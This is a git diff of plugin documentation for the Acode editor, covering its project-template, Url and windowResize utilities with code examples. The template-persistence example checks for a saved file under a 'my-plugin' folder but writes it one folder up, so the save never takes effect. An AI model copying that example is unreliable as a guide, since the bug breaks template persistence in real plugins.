 - Ensure that the function provided for the `files` parameter returns a Promise that resolves to a map of filenames and their contents.
 :::
 
+### `delete(project: string)` <Badge type="tip" text="new" />
+
+Removes a project template. It is synchronous, returns nothing, and is a no-op when the project does not exist.
+
+```js
+projects.delete('newProject');
+```
+
+Use it in `acode.setPluginUnmount` to undo a `set()` instead of leaking the template into the session.
+
+## File Map Semantics <Badge type="tip" text="new" />
+
+The keys of the files map are **relative paths with `/` separators**, and nested directories are created for you. The file browser's "New project" flow (`src/pages/fileBrowser/fileBrowser.js`) walks the keys, splits each on `/`, and calls `createDirectory()` per missing segment before `createFile()` for the leaf:
+
+```js
+{
+  'index.html': '...',            // -> <new folder>/index.html
+  'css/index.css': '',            // -> <new folder>/css/index.css
+  'js/index.js': '',              // -> <new folder>/js/index.js
+}
+```
+
+Two template conventions the built-in project uses:
+
+- **`<%name%>` placeholders are substituted** with the project name the user typed before the file is written (`data.replace(/<%name%>/g, projectName)`).
+- **Content is written verbatim** — an empty string creates an empty file, and no encoding is passed, so write UTF-8 text.
+
+## What a Project Affects <Badge type="tip" text="new" />
+
+A project only feeds one place in the app: the **"New project" action of the file browser / create dialog**. It does **not** change the file-browser root, the open editor session, the sidebar folder list, or any setting.
+
+| Affected | Not affected |
+| --- | --- |
+| The template picker built from `projects.list()` — `name` and `icon` become the option label and icon | `editorManager.activeFile`, open tabs, the current file |
+| The files materialised by `createDirectory()` + `createFile()` under the folder the user picked | The sidebar folder roots — that is [OpenFolder](./open-folder.md) / `acode.require("addedFolder")` |
+| The `<%name%>` substitution | Any settings key — `projects` stores nothing on disk by itself |
+
 ## Important Note on Using the `projects` Utility
 
 The `projects` utility does not persist added project templates. To avoid losing your templates when restarting the app, you must save them manually. Here's what you need to do:
@@ -79,6 +144,10 @@ Failure to save and re-add your templates will result in their loss after the ap
 Implement a function within your plugin to handle the saving and re-adding process automatically. 
 :::
 
+::: warning Re-adding is required on every launch
+The template registry lives in memory only (`const projects = { … }` in `src/lib/projects.js`), so `set()` must run again from `acode.setPluginInit` after each restart. Persist the **files factory source**, not its result, and pass a fresh async function to `set()` each time.
+:::
+
 ## Example
 
 ### Adding a New Project Template
@@ -106,7 +175,52 @@ async function addNewProject() {
   // Get details of the newly added project
   const newProjectDetails = projects.get('newProject');
   console.log('New Project Details:', newProjectDetails);
+
+  // files is a factory — await it to get the actual map
+  console.log('Files:', await newProjectDetails.files());
+}
+```
+
+### Persisting and Cleaning Up <Badge type="tip" text="new" />
+
+```js
+const projects = acode.require("projects");
+const fs = acode.require("fs");
+
+const TEMPLATE = {
+  "index.html": "<h1><%name%></h1>",
+  "css/index.css": "body { margin: 0 }",
+};
+
+// Any value CSS `url()` accepts. A small data: URL is the safe choice.
+const ICON = "data:image/svg+xml;base64,PHN2Zy8+";
+
+const STORE = `${CACHE_STORAGE}/my-plugin/project.json`;
+
+function files() {
+  // Async because the app awaits the factory — useful when the template
+  // itself has to be fetched first.
+  return Promise.resolve(TEMPLATE);
 }
 
-addNewProject();
+acode.setPluginInit(plugin.id, async () => {
+  // Restore a template saved in a previous session, if there is one.
+  if (await fs(STORE).exists()) {
+    const saved = await fs(STORE).readFile("json");
+    TEMPLATE["index.html"] = saved["index.html"];
+  } else {
+    await fs(CACHE_STORAGE).createDirectory("my-plugin");
+    await fs(CACHE_STORAGE).createFile("project.json", JSON.stringify(TEMPLATE));
+  }
+
+  projects.set("myTemplate", files, ICON);
+});
+
+acode.setPluginUnmount(plugin.id, () => {
+  projects.delete("myTemplate");
+});
 ```
+
+::: info
+`list()`, `get()`, `set()` and `delete()` never touch the file system and never reject — they are synchronous, in-memory operations. Wrap only the *storage* of your template in error handling.
+:::
diff --git a/docs/utilities/url.md b/docs/utilities/url.md
index 0cb333a..ef93f85 100644
--- a/docs/utilities/url.md
+++ b/docs/utilities/url.md
@@ -2,6 +2,10 @@
 
 The `Url` module provides various utility functions for working with URLs. This module is essential for parsing, manipulating, and formatting URLs within plugins. Below, you will find detailed information on the methods available in this module.
 
+::: info
+Verified against Acode **v1.13.5**: `src/utils/Url.js` (registered in `src/lib/acode.js` as `this.define("Url", Url)`).
+:::
+
 ## Usage
 
 To use the `Url` module, import it at the top of your plugin main file:
@@ -10,10 +14,48 @@ To use the `Url` module, import it at the top of your plugin main file:
 const Url = acode.require('Url');
 ```
 
+`acode.require` lowercases module names, so `acode.require('url')` returns the identical object.
+
+::: warning
+**`Url` is a plain object literal — it does not extend or patch the browser `URL`.** `src/utils/Url.js:5` is `export default { … }`; nothing in the source assigns to `window.URL`, `globalThis.URL` or `URL.prototype`. Use `Url` for Acode URLs (`file://`, `content://`, `ftp://`, `sftp://`) and the native `URL` for ordinary web URLs. Two of the methods (`hidePassword`, `decodeUrl`) are backed by the [`url-parse`](https://www.npmjs.com/package/url-parse) npm package, not by the platform.
+:::
+
+There is also a method shortcut on the global object:
+
+```javascript
+acode.joinUrl(...args); // identical to Url.join(...args) — src/lib/acode.js:928
+```
+
+### The complete member list
+
+There are **14 methods** and one exported property. There is no `resolve()`, no `filename()`, and no `encode` / `decode` — use [`acode.require("encodings")`](./encoding.md) for text codecs.
+
+| Member | Signature | Returns |
+|---|---|---|
+| `basename` | `basename(url: string): string \| null` | Last path segment |
+| `areSame` | `areSame(...urls: string[]): boolean` | `true` if all equal |
+| `isSameOrDescendant` | `isSameOrDescendant(candidate: string, parent: string): boolean` | Nesting test |
+| `extname` | `extname(url: string): string \| null` | Extension incl. dot |
+| `join` | `join(...pathnames: string[]): string` | Joined URL |
+| `safe` | `safe(url: string): string` | Percent-encoded URL |
+| `pathname` | `pathname(url: string): string \| null` | Path, leading `/` |
+| `dirname` | `dirname(url: string): string \| null` | Parent URL |
+| `parse` | `parse(url: string): { url: string, query: string }` | Split tuple |
+| `formate` | `formate(urlObj: object): string` | Formatted URL |
+| `getProtocol` | `getProtocol(url: string): string` | `"ftp:"`, `"https:"`, … or `""` |
+| `hidePassword` | `hidePassword(url: string): string` | URL without password |
+| `decodeUrl` | `decodeUrl(url: string): object` | Decoded components |
+| `trimSlash` | `trimSlash(url: string): string` | See the warning below |
+| `PROTOCOL_PATTERN` | `RegExp` | `/^[a-z]+:\/\/\/?/i` |
+
+::: warning
+`formate` is spelled without an `u` in the source (`src/utils/Url.js:242`). That is the real name — there is no `format` alias.
+:::
+
 ## Methods
 
 ### `basename(url: string): string | null`
-Returns the basename of the last segment of the URL path, or null if the input is invalid.
+Returns the basename of the last segment of the URL path, or null if the input is invalid. For `content://` URIs the document id is unwrapped first (`Uri.parse`), and a single-document URI resolves to its tree root.
 
 **Example:**
 ```javascript
@@ -22,7 +64,7 @@ const basename = Url.basename('ftp://localhost/foo/bar/index.html');
 ```
 
 ### `areSame(...urls: string[]): boolean`
-Compares multiple URL strings and returns true if they are all the same, false otherwise.
+Compares multiple URL strings and returns true if they are all the same, false otherwise. A single trailing `/` is stripped from every argument before comparison — the **query string is not** stripped, so `'a?x=1'` and `'a?x=2'` are different.
 
 **Example:**
 ```javascript
@@ -30,8 +72,20 @@ const areSame = Url.areSame('https://example.com', 'https://example.com');
 // Output: true
 ```
 
+### `isSameOrDescendant(candidate: string, parent: string): boolean`
+Checks whether `candidate` is `parent` itself or nested below it. Both arguments are run through `parse()` (so their query strings are dropped) and one trailing `/` is stripped, then the comparison is `candidate === parent || candidate.startsWith(parent + '/')`. Because of the explicit `/` boundary check, `/a/foobar` is **not** a descendant of `/a/foo`. Acode uses this in `src/lib/recents.js:58` to decide whether closing a folder should also drop its children.
+
+**Example:**
+```javascript
+Url.isSameOrDescendant('sftp://host/var/www/index.php', 'sftp://host/var/www');
+// Output: true
+
+Url.isSameOrDescendant('sftp://host/var/wwwroot', 'sftp://host/var/www');
+// Output: false
+```
+
 ### `extname(url: string): string | null`
-Returns the file extension of the last segment of the URL path, or null if the input is invalid.
+Returns the file extension of the last segment of the URL path, or null if the input is invalid. Delegates to `path.extname` (`src/utils/Path.js:45`), which returns `""` when the basename has no dot and includes the leading dot otherwise.
 
 **Example:**
 ```javascript
@@ -39,7 +93,7 @@ const extname = Url.extname('ftp://localhost/foo/bar/index.html');
 // Output: '.html'
 ```
 
-### `join(...pathNames: string[]): string`
+### `join(...pathnames: string[]): string`
 Joins multiple path strings into a single URL string.
 
 **Example:**
@@ -48,26 +102,93 @@ const joinedUrl = Url.join('https://example.com', '/foo', '/bar');
 // Output: 'https://example.com/foo/bar'
 ```
 
+#### The real rules — read this before shipping `join()`
+
+`join` is the single most misused function in this module. It has **four** footguns, all visible in `src/utils/Url.js:84-134`:
+
+**1. It throws with fewer than two arguments.**
+
+```javascript
+Url.join('file:///a/b'); // throws Error('Join(), requires at least two parameters')
+```
+
+**2. A trailing slash on a `http:`/`https:`/`ftp:`/`sftp:` base produces a broken URL.**
+
+The scheme is matched with `PROTOCOL_PATTERN` (`/^[a-z]+:\/\/\/?/i`, `Url.js:354`), stripped off the front, and the **remainder is joined verbatim** (`Url.js:128-130`). For `http(s)://` and `ftp(s)://` there is no third slash to absorb, so a trailing slash on the base leaves a stray `/` in front of the host:
+
+```javascript
+Url.join('https://example.com/', 'b');   // Output: 'https:///example.com/b'  ← malformed
+Url.join('https://example.com', 'b');    // Output: 'https://example.com/b'   ← correct
+```
+
+`file:///` and `content://` are safe with a trailing slash, because their pattern match consumes the third slash:
+
+```javascript
+Url.join('file:///storage/emulated/0/', 'a.txt');
+// Output: 'file:///storage/emulated/0/a.txt'  ← correct
+```
+
+::: danger
+Rule of thumb: for `http`/`https`/`ftp`/`sftp`, never let the base end in `/`. Strip it yourself before joining — `base.replace(/\/+$/, '')`.
+:::
+
+**3. Leading and trailing slashes on the *later* arguments are harmless.**
+
+Every branch finishes with `path.join(...).normalize()` (`src/utils/Path.js:85-112`), and `normalize` collapses `/+` to `/` before resolving `.` and `..`:
+
+```javascript
+Url.join('file:///a/b', '/c');     // 'file:///a/b/c'
+Url.join('file:///a/b/', '/c/');   // 'file:///a/b/c'
+Url.join('file:///a/b//', '//c');  // 'file:///a/b/c'
+```
+
+**4. `..` escapes the base, and the query is re-appended at the very end.**
+
+`normalize()` resolves `..` by popping the previous segment, and only the **first** argument's query is split off by `parse()` and appended after everything else:
+
+```javascript
+Url.join('file:///a/b/c.txt', '../d.txt');  // 'file:///a/d.txt'  ← climbs out of b/
+Url.join('https://example.com?a=1', 'b');   // 'https://example.com/b?a=1'
+```
+
+Never let user input supply `..` segments to `join()`.
+
+#### `content://` gets its own branch
+
+When the scheme is `content://`, `join` parses the URI with `Uri.parse` and rebuilds the `rootUri::docId` pair instead of using plain path joining (`Url.js:92-126`). There is a special case for `content://com.termux...` (`Url.js:98-107`), a volume-only docId (`:primary:`) case (`Url.js:111-122`), and the whole block is wrapped in a `try`/`catch` that **returns `null`** on a malformed URI (`Url.js:124-126`).
+
 ### `safe(url: string): string`
-Returns a URL-safe string by encoding each component of the URL.
+Returns a URL-safe string by encoding each component of the URL. Every path segment after the first is run through a stricter `encodeURIComponent` that also escapes `!'()*` (`Url.js:151-155`).
 
 **Example:**
 ```javascript
 const safeUrl = Url.safe('https://www.example.com/path/to/file.html?query=string#hash');
-// Output: 'https://www.example.com/path/to/file.html%3Fquery%3Dstring%23hash'
+// Output: 'https://www.example.com/path/to/file.html?query=string#hash'
 ```
 
+::: warning
+The **query string and fragment are preserved verbatim** — `parse()` splits them off before encoding and they are concatenated back on untouched (`Url.js:141-149`). So a `#` in the query survives as-is. This is the *opposite* of what older versions of this page claimed.
+:::
+
+Acode calls `Url.safe` on every `window.resolveLocalFileSystemURL` invocation (`src/main.js:300-302`), which is why percent-encoded spaces round-trip correctly through `acode.toInternalUrl()`.
+
 ### `pathname(url: string): string | null`
-Returns the path of the URL, or null if the input is invalid.
+Returns the path of the URL, or null if the input is invalid. The query string is discarded first (`url.split("?")[0]`), then the scheme and the host are removed and the result is re-prefixed with `/`. For `content://` URIs it returns the docId path instead (`Url.js:168-175`).
 
 **Example:**
 ```javascript
 const pathname = Url.pathname('ftp://myhost.com/foo/bar/index.html');
-// Output: '/foo/bar'
+// Output: '/foo/bar/index.html'
 ```
 
+::: warning
+`pathname` returns the **whole** path including the filename — it is not the directory. Use `dirname` for that.
+:::
+
+If the input is not a string, or does not match `PROTOCOL_PATTERN`, `pathname` returns the input **unchanged** rather than throwing (`Url.js:163`).
+
 ### `dirname(url: string): string | null`
-Returns the directory name from the URL, or null if the input is invalid.
+Returns the directory name from the URL, or null if the input is invalid. The query string is re-appended (`Url.js:213`), and a non-string input throws `Error('URL must be string')` (`Url.js:192`).
 
 **Example:**
 ```javascript
@@ -76,7 +197,7 @@ const dirname = Url.dirname('ftp://localhost/foo/bar');
 ```
 
 ### `parse(url: string): URLObject`
-Parses the given URL and returns an object containing the URL and query string.
+Parses the given URL and returns an object containing the URL and query string. The split happens at the **first** `?`, so a `#fragment` stays inside the query.
 
 **Example:**
 ```javascript
@@ -85,7 +206,7 @@ const parsedUrl = Url.parse('https://example.com/path?query=string');
 ```
 
 ### `formate(urlObj: URLObject): string`
-Formats a URL object into a string.
+Formats a URL object into a string. Requires `protocol` and `hostname` or it throws `Error("Cannot formate url. Missing 'protocol' and 'hostname'.")`. `username`+`password` are `encodeURIComponent`-encoded together; a lone `username` is not. A missing leading `/` on `path` is added. Query keys and values are encoded, and the trailing `&` is trimmed.
 
 **Example:**
 ```javascript
@@ -100,7 +221,7 @@ const formattedUrl = Url.formate(urlObj);
 ```
 
 ### `getProtocol(url: string): "ftp:" | "sftp:" | "http:" | "https:"`
-Returns the protocol of a URL.
+Returns the protocol of a URL, or `""` when there is none.
 
 **Example:**
 ```javascript
@@ -108,8 +229,12 @@ const protocol = Url.getProtocol('ftp://localhost/foo/bar');
 // Output: 'ftp:'
 ```
 
+::: warning
+`getProtocol` returns the scheme **with a colon only** (`ftp:`), because it uses `/^([a-z]+:)\/\/\/?/i` (`Url.js:281`). `PROTOCOL_PATTERN` — used internally by `join`, `safe` and `pathname` — returns the scheme **with slashes** (`ftp://`). Do not compare the two.
+:::
+
 ### `hidePassword(url: string): string`
-Returns a URL string with the password (if present) replaced with asterisks.
+Returns a URL string with the password **removed**.
 
 **Example:**
 ```javascript
@@ -117,8 +242,12 @@ const hiddenPasswordUrl = Url.hidePassword('ftp://user:password@localhost/foo/ba
 // Output: 'ftp://user@localhost/foo/bar'
 ```
 
+::: warning
+Earlier versions of this page said the password is "replaced with asterisks". It is not — the password is dropped entirely and only `protocol`, `username`, `hostname` and `pathname` are rebuilt (`Url.js:288-295`). `file:` URLs are returned untouched, and the **port and query are lost** on every other scheme because they are not part of the template.
+:::
+
 ### `decodeUrl(url: string): URLObject`
-Decodes the URL and returns an object containing username, password, hostname, pathname, port, and query.
+Decodes the URL and returns an object containing username, password, hostname, pathname, port, and query. `pathname`, `username`, `password` and the `keyFile` / `passPhrase` query values are `decodeURIComponent`-ed, and `port` is coerced to an `int`. `#` characters are temporarily replaced with a unique sentinel before parsing and restored afterwards, so encoded fragments survive.
 
 **Example:**
 ```javascript
@@ -127,10 +256,108 @@ const decodedUrl = Url.decodeUrl('https://user:pass@host.com:8080/path?query=str
 ```
 
 ### `trimSlash(url: string): string`
-Removes the trailing slash from a URL.
+Attempts to remove the trailing slash from a URL.
 
 **Example:**
 ```javascript
-const trimmedUrl = Url.trimSlash('https://example.com/path/');
-// Output: 'https://example.com/path'
+Url.trimSlash('https://example.com/path/');
+// Output: 'https://example.com/path/'  ← the slash is still there
+```
+
+::: danger
+**`trimSlash` does not remove the trailing slash in v1.13.5.** It strips the `/` from `parse(url).url`, then immediately re-adds a separator by routing through `join(parsed.url, parsed.query)` — and `path.join(x, "")` always produces `x + "/"` (`src/utils/Url.js:347-353` combined with `src/utils/Path.js:85-112`). A base with a query string behaves the same way (`'https://example.com/path/?a=1'` → `'https://example.com/path/?a=1'`).
+
+Do your own trimming:
+
+```javascript
+const trimSlash = (url) => url.replace(/\/+$/, '');
+```
+
+`Url.dirname` and `Url.areSame` — unlike `trimSlash` — do handle trailing slashes correctly.
+:::
+
+### `PROTOCOL_PATTERN`
+The exported regex every scheme test is built on (`Url.js:354`):
+
+```javascript
+Url.PROTOCOL_PATTERN; // /^[a-z]+:\/\/\/?/i
+```
+
+It matches `scheme://` plus **one optional extra slash**, which is why `file:///…` yields `file:///` while `https://…` yields `https://`. It carries no `g` flag, so `.test()` and `.exec()` are safe to call repeatedly.
+
+## Supported URL schemes
+
+Provable from the source:
+
+| Scheme | Handled where | Notes |
+|---|---|---|
+| `file:` | `src/fileSystem/index.js:94` (`internalFs.test`, `/^file:/`) | App-internal storage and `/sdcard` |
+| `content:` | `src/fileSystem/index.js:95` (`externalFs.test`, `/^content:/`) | Android SAF documents; needs `content://<pkg>.documents/tree|document…`. `Uri.parse` (`src/utils/Uri.js:26-67`) **throws** `Error('Invalid uri format.')` for anything else |
+| `ftp:` | `src/fileSystem/index.js:93` (`Ftp.test`, `/^ftp:/`) | |
+| `sftp:` | `src/fileSystem/index.js:92` (`Sftp.test`, `/^sftp:/`) | Requires a native SFTP profile |
+| `http:` / `https:` | `src/fileSystem/index.js:97-99` (`/^https?:/`) | Only `readFile` and `writeFile` exist on the returned handle |
+| anything else | — | `fsOperation()` returns `undefined`; `Url`'s string methods still work on the string |
+
+## `acode.joinUrl(...)` and `acode.toInternalUrl(url)`
+
+### `acode.joinUrl(...args)`
+A one-line alias, `return Url.join(...args)` (`src/lib/acode.js:928-930`). Identical signature, identical throw on fewer than two arguments, identical trailing-slash footgun. `acode.require("Url").join` and `acode.joinUrl` are interchangeable.
+
+### `acode.toInternalUrl(url)`
+
+```javascript
+const internal = await acode.toInternalUrl('file:///storage/emulated/0/My File.txt');
+// → 'file:///storage/emulated/0/My%20File.txt'
+```
+
+Resolves to `helpers.toInternalUri` (`src/lib/acode.js:992-995`), which calls `window.resolveLocalFileSystemURL(uri, success, error)` and resolves with `entry.toInternalURL()` (`src/utils/helpers.js:279-289`). It rejects with the raw Cordova error.
+
+Two details:
+
+- Acode **replaces** `window.resolveLocalFileSystemURL` at boot with a wrapper that first calls `Url.safe(url)` (`src/main.js:300-302`), so path segments are percent-encoded for you.
+- The same function is registered as a module: `acode.require("toInternalUrl")` (`src/lib/acode.js:456`).
+
+## Complete Example
+
+```javascript
+acode.setPluginInit('com.example.url-demo', (baseUrl, $page, { cacheFile }) => {
+		const Url = acode.require('Url');
+
+		// 1. Build URLs. Never let an http(s)/ftp/sftp base end in "/".
+		const remote = 'sftp://host/var/www';
+		const index = acode.joinUrl(remote, 'app', 'index.html');
+		// 'sftp://host/var/www/app/index.html'
+
+		// 2. Split without a second parse.
+		const { url, query } = Url.parse('https://example.com/search?q=acode&page=2');
+		// url = 'https://example.com/search', query = '?q=acode&page=2'
+
+		// 3. Decompose safely — basename/pathname never throw on strings.
+		const name = Url.basename(url);            // 'search'
+		const dir = Url.dirname(url);              // 'https://example.com/'
+		const ext = Url.extname(index);            // '.html'
+		const proto = Url.getProtocol(url);        // 'https:'
+
+		// 4. Nesting test with correct segment boundaries.
+		const inside = Url.isSameOrDescendant(index, remote); // true
+
+		// 5. Build a remote file for an fs write.
+		const target = Url.join('file:///storage/emulated/0/Documents', 'notes.md');
+		// 'file:///storage/emulated/0/Documents/notes.md'
+
+		// 6. Never log a password.
+		console.log(Url.hidePassword('sftp://user:secret@host/var/www'));
+
+		// 7. Let the native layer hand back the canonical, encoded URL.
+		acode.toInternalUrl(target).then((internalUrl) => {
+				console.log('internal:', internalUrl);
+		}).catch((error) => {
+				acode.require('toast')(String(error));
+		});
+});
 ```
+
+## See also
+
+- [`acode.require("fs")`](./fs.md) — the file-system factory that consumes these URLs.
+- [`acode.require("encodings")`](./encoding.md)
diff --git a/docs/utilities/window-resize.md b/docs/utilities/window-resize.md
index b33eb35..8b76110 100644
--- a/docs/utilities/window-resize.md
+++ b/docs/utilities/window-resize.md
@@ -2,18 +2,63 @@
 
 The Window Resize API allows plugins to handle window resize events in Acode. This is particularly useful for managing UI elements that need to respond to window size changes or keyboard visibility.
 
+::: info
+Verified against Acode **v1.13.5**: `src/handlers/windowResize.js` (registered in `src/lib/acode.js` as `this.define("windowResize", windowResize)`).
+:::
+
 ## Import
 
 ```js
 const windowResize = acode.require('windowResize');
 ```
 
+::: warning
+`acode.require('windowResize')` returns the **`windowResize` function itself**, not a plain object — the export is `export default function windowResize() { … }`. The only members attached to it are `.on()` and `.off()`. It is also the app's own `resize` listener: `src/main.js:98` runs `window.addEventListener("resize", windowResize)`. Do **not** register it on `window` yourself expecting a separate stream of events; the geometry is already global.
+:::
+
 ## Events
 
 The API supports two types of events:
 
-- `resize`: Triggered when window resizing is complete
-- `resizeStart`: Triggered when window starts resizing
+| Event | Emitted at | Meaning |
+|---|---|---|
+| `resizeStart` | `windowResize.js:29` | First `resize` event of a burst — fires immediately, synchronously |
+| `resize` | `windowResize.js:63` | Resizing has settled — fires after a **100 ms** idle debounce |
+
+::: danger
+Both listeners are invoked as `cb()` — **with no arguments** (`src/handlers/windowResize.js:73`):
+
+```js
+function emit(eventName) {
+		if (!event[eventName]) return;
+		event[eventName].forEach((cb) => cb());
+}
+```
+
+There is **no payload**: no width, no height, no orientation, no delta. Read `window.innerWidth`, `window.innerHeight`, `screen.orientation` and `window.visualViewport` yourself inside the callback.
+:::
+
+### When it fires
+
+```js
+export default function windowResize() {
+		if (!resizeTimeout) {
+				emit('resizeStart');
+		}
+
+		clearTimeout(resizeTimeout);
+		resizeTimeout = setTimeout(onResize, 100);
+}
+```
+
+- `resizeStart` fires **once per burst** — only while `resizeTimeout` is still falsy, i.e. before the first debounce is armed.
+- `resize` fires 100 ms after the **last** `resize` event, so dragging a soft keyboard or rotating the device produces exactly one `resize`.
+- `onResize()` resets `resizeTimeout = null` (`windowResize.js:62`), re-arming the `resizeStart` branch for the next burst.
+- It is driven **only** by `resize`. There is no `orientationchange` listener and no `visualViewport` listener in the source, so rotation reaches you purely as `resize`.
+
+::: tip
+`acode.require("keyboard")` is layered on top of these same two events (see [`src/handlers/keyboard.js:109-154`](./keyboard.md#how-the-soft-keyboard-is-detected)), and adds the soft-keyboard/external-keyboard discrimination that plain geometry lacks. Use `windowResize` for layout, `keyboard` for the IME.
+:::
 
 ## Usage
 
@@ -25,7 +70,7 @@ Use the `on()` method to listen for resize events:
 // Listen for resize complete
 windowResize.on('resize', () => {
 		// Handle resize complete
-		console.log('Window resize finished');
+		console.log('Window resize finished, innerWidth =', window.innerWidth);
 });
 
 // Listen for resize start
@@ -51,6 +96,8 @@ windowResize.on('resize', handleResize);
 windowResize.off('resize', handleResize);
 ```
 
+`off()` filters by strict identity (`windowResize.js:55`), so an inline arrow function can never be removed — keep a reference. `on()` only pushes onto the array (`windowResize.js:44`), so registering the same function twice registers it twice. An unknown `eventName` is silently ignored by both (`windowResize.js:43` and `:55`). There is no `once()` and no "remove all listeners".
+
 ## Example Use Case
 
 Here's a example of using the Window Resize API to adjust a plugin's UI:
@@ -64,16 +111,19 @@ class MyPlugin {
 
 		setupResizeHandling() {
 				// Handle initial resize
-				windowResize.on('resizeStart', () => {
+				this.onResizeStart = () => {
 						// Prepare UI for resize
 						this.container.style.transition = 'none';
-				});
+				};
 
-				windowResize.on('resize', () => {
+				this.onResize = () => {
 						// Update UI after resize
 						this.container.style.transition = 'all 0.3s';
 						this.updateLayout();
-				});
+				};
+
+				windowResize.on('resizeStart', this.onResizeStart);
+				windowResize.on('resize', this.onResize);
 		}
 
 		updateLayout() {
@@ -87,9 +137,58 @@ class MyPlugin {
 }
 ```
 
+## Reacting to rotation and the soft keyboard
+
+`resize` gives you geometry only, which is enough for both cases:
+
+```js
+acode.setPluginInit('com.example.responsive', (baseUrl, $page) => {
+		const windowResize = acode.require('windowResize');
+		const keyboard = acode.require('keyboard');
+
+		let orientation = window.innerWidth >= window.innerHeight ? 'landscape' : 'portrait';
+
+		const apply = () => {
+				$page.classList.toggle('is-landscape', orientation === 'landscape');
+				$page.classList.toggle('is-compact', window.innerWidth < 768);
+		};
+
+		const onResize = () => {
+				const next = window.innerWidth >= window.innerHeight ? 'landscape' : 'portrait';
+				if (next !== orientation) {
+						orientation = next;
+				}
+				apply();
+		};
+
+		const onKeyboardShow = () => $page.classList.add('keyboard-open');
+		const onKeyboardHide = () => $page.classList.remove('keyboard-open');
+
+		apply();
+		windowResize.on('resize', onResize);
+		// Soft-keyboard events are gated on there being no external keyboard,
+		// so they simply never fire on a tablet with a Bluetooth keyboard.
+		keyboard.on('keyboardShow', onKeyboardShow);
+		keyboard.on('keyboardHide', onKeyboardHide);
+
+		acode.setPluginUnmount('com.example.responsive', () => {
+				windowResize.off('resize', onResize);
+				keyboard.off('keyboardShow', onKeyboardShow);
+				keyboard.off('keyboardHide', onKeyboardHide);
+		});
+});
+```
+
 ## Notes
 
-- The resize event is debounced internally to prevent excessive callbacks
-- Use `resizeStart` for immediate response to resize initiation
-- Use `resize` for final adjustments after resizing completes
-- Event listeners should be removed when no longer needed to prevent memory leaks
+- The resize event is debounced internally to prevent excessive callbacks — 100 ms after the last `resize` (`windowResize.js:33`)
+- Use `resizeStart` for immediate response to resize initiation; it is synchronous and fires exactly once per burst
+- Use `resize` for final adjustments after resizing completes, when `window.innerWidth` / `window.innerHeight` have settled
+- Event listeners should be removed when no longer needed to prevent memory leaks, and `off()` needs the original function reference
+- Both events are fire-and-forget: if you register a listener after the app has already started, a resize in progress will not be replayed
+- If you only care about the IME, use [`acode.require("keyboard")`](./keyboard.md) instead — plain `resize` cannot tell a soft keyboard from an external one
+
+## See also
+
+- [`acode.require("keyboard")`](./keyboard.md)
+- [`acode.require("page")`](../editor-components/page.md)